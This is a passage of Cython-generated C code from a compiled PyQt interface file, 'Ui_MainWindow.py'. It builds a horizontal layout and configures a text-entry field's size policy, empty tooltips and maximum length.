(unlikely(!__pyx_t_3)) __PYX_ERR(0, 175, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_2, __pyx_t_3) < 0) __PYX_ERR(0, 175, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":176 * self.formLayout.setWidget(4, QtWidgets.QFormLayout.LabelRole, self.label_10) * self.horizontalLayout_2 = QtWidgets.QHBoxLayout() * self.horizontalLayout_2.setContentsMargins(-1, 0, -1, 0) # <<<<<<<<<<<<<< * self.horizontalLayout_2.setSpacing(2) * self.horizontalLayout_2.setObjectName("horizontalLayout_2") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 176, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setContentsMargins); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 176, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__104, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 176, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":177 * self.horizontalLayout_2 = QtWidgets.QHBoxLayout() * self.horizontalLayout_2.setContentsMargins(-1, 0, -1, 0) * self.horizontalLayout_2.setSpacing(2) # <<<<<<<<<<<<<< * self.horizontalLayout_2.setObjectName("horizontalLayout_2") * self.R_Npa = QtWidgets.QLineEdit(self.formLayoutWidget) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 177, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setSpacing); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 177, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__105, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 177, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":178 * self.horizontalLayout_2.setContentsMargins(-1, 0, -1, 0) * self.horizontalLayout_2.setSpacing(2) * self.horizontalLayout_2.setObjectName("horizontalLayout_2") # <<<<<<<<<<<<<< * self.R_Npa = QtWidgets.QLineEdit(self.formLayoutWidget) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 178, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 178, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__106, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 178, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":179 * self.horizontalLayout_2.setSpacing(2) * self.horizontalLayout_2.setObjectName("horizontalLayout_2") * self.R_Npa = QtWidgets.QLineEdit(self.formLayoutWidget) # <<<<<<<<<<<<<< * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) * sizePolicy.setHorizontalStretch(0) */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 179, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QLineEdit); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 179, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 179, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_9))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_2) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_6); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 179, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_6}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 179, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_6}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 179, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 179, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 179, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_R_Npa, __pyx_t_3) < 0) __PYX_ERR(0, 179, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":180 * self.horizontalLayout_2.setObjectName("horizontalLayout_2") * self.R_Npa = QtWidgets.QLineEdit(self.formLayoutWidget) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) # <<<<<<<<<<<<<< * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) */ __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QSizePolicy); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QSizePolicy); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_Fixed); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QSizePolicy); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_Fixed); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[3] = {__pyx_t_2, __pyx_t_9, __pyx_t_6}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[3] = {__pyx_t_2, __pyx_t_9, __pyx_t_6}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_4 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (__pyx_t_2) { __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2); __pyx_t_2 = NULL; } __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_4, 0+__pyx_t_8, __pyx_t_9); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_4, 1+__pyx_t_8, __pyx_t_6); __pyx_t_9 = 0; __pyx_t_6 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF_SET(__pyx_v_sizePolicy, __pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":181 * self.R_Npa = QtWidgets.QLineEdit(self.formLayoutWidget) * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) * sizePolicy.setHorizontalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.R_Npa.sizePolicy().hasHeightForWidth()) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_sizePolicy, __pyx_n_s_setHorizontalStretch); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 181, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__107, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 181, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":182 * sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Fixed, QtWidgets.QSizePolicy.Fixed) * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) # <<<<<<<<<<<<<< * sizePolicy.setHeightForWidth(self.R_Npa.sizePolicy().hasHeightForWidth()) * self.R_Npa.setSizePolicy(sizePolicy) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_sizePolicy, __pyx_n_s_setVerticalStretch); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 182, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__108, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 182, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":183 * sizePolicy.setHorizontalStretch(0) * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.R_Npa.sizePolicy().hasHeightForWidth()) # <<<<<<<<<<<<<< * self.R_Npa.setSizePolicy(sizePolicy) * self.R_Npa.setToolTip("") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_sizePolicy, __pyx_n_s_setHeightForWidth); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 183, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Npa); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 183, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_sizePolicy); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 183, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_9) { __pyx_t_6 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_9); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 183, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else { __pyx_t_6 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 183, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_hasHeightForWidth); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 183, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_6) { __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_6); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 183, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else { __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 183, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_2) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 183, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_4}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 183, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_4}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 183, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 183, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_6, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 183, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":184 * sizePolicy.setVerticalStretch(0) * sizePolicy.setHeightForWidth(self.R_Npa.sizePolicy().hasHeightForWidth()) * self.R_Npa.setSizePolicy(sizePolicy) # <<<<<<<<<<<<<< * self.R_Npa.setToolTip("") * self.R_Npa.setStatusTip("") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Npa); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 184, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setSizePolicy); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 184, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_1) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_v_sizePolicy); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 184, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_v_sizePolicy}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 184, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_v_sizePolicy}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 184, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 184, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_INCREF(__pyx_v_sizePolicy); __Pyx_GIVEREF(__pyx_v_sizePolicy); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_v_sizePolicy); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 184, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":185 * sizePolicy.setHeightForWidth(self.R_Npa.sizePolicy().hasHeightForWidth()) * self.R_Npa.setSizePolicy(sizePolicy) * self.R_Npa.setToolTip("") # <<<<<<<<<<<<<< * self.R_Npa.setStatusTip("") * self.R_Npa.setAccessibleName("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Npa); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 185, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 185, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__109, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 185, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":186 * self.R_Npa.setSizePolicy(sizePolicy) * self.R_Npa.setToolTip("") * self.R_Npa.setStatusTip("") # <<<<<<<<<<<<<< * self.R_Npa.setAccessibleName("") * self.R_Npa.setAccessibleDescription("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Npa); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 186, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 186, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__110, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 186, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":187 * self.R_Npa.setToolTip("") * self.R_Npa.setStatusTip("") * self.R_Npa.setAccessibleName("") # <<<<<<<<<<<<<< * self.R_Npa.setAccessibleDescription("") * self.R_Npa.setInputMask("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Npa); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 187, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 187, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__111, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 187, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":188 * self.R_Npa.setStatusTip("") * self.R_Npa.setAccessibleName("") * self.R_Npa.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.R_Npa.setInputMask("") * self.R_Npa.setText("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Npa); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 188, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 188, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__112, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 188, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":189 * self.R_Npa.setAccessibleName("") * self.R_Npa.setAccessibleDescription("") * self.R_Npa.setInputMask("") # <<<<<<<<<<<<<< * self.R_Npa.setText("") * self.R_Npa.setMaxLength(9) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_Npa); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 189, 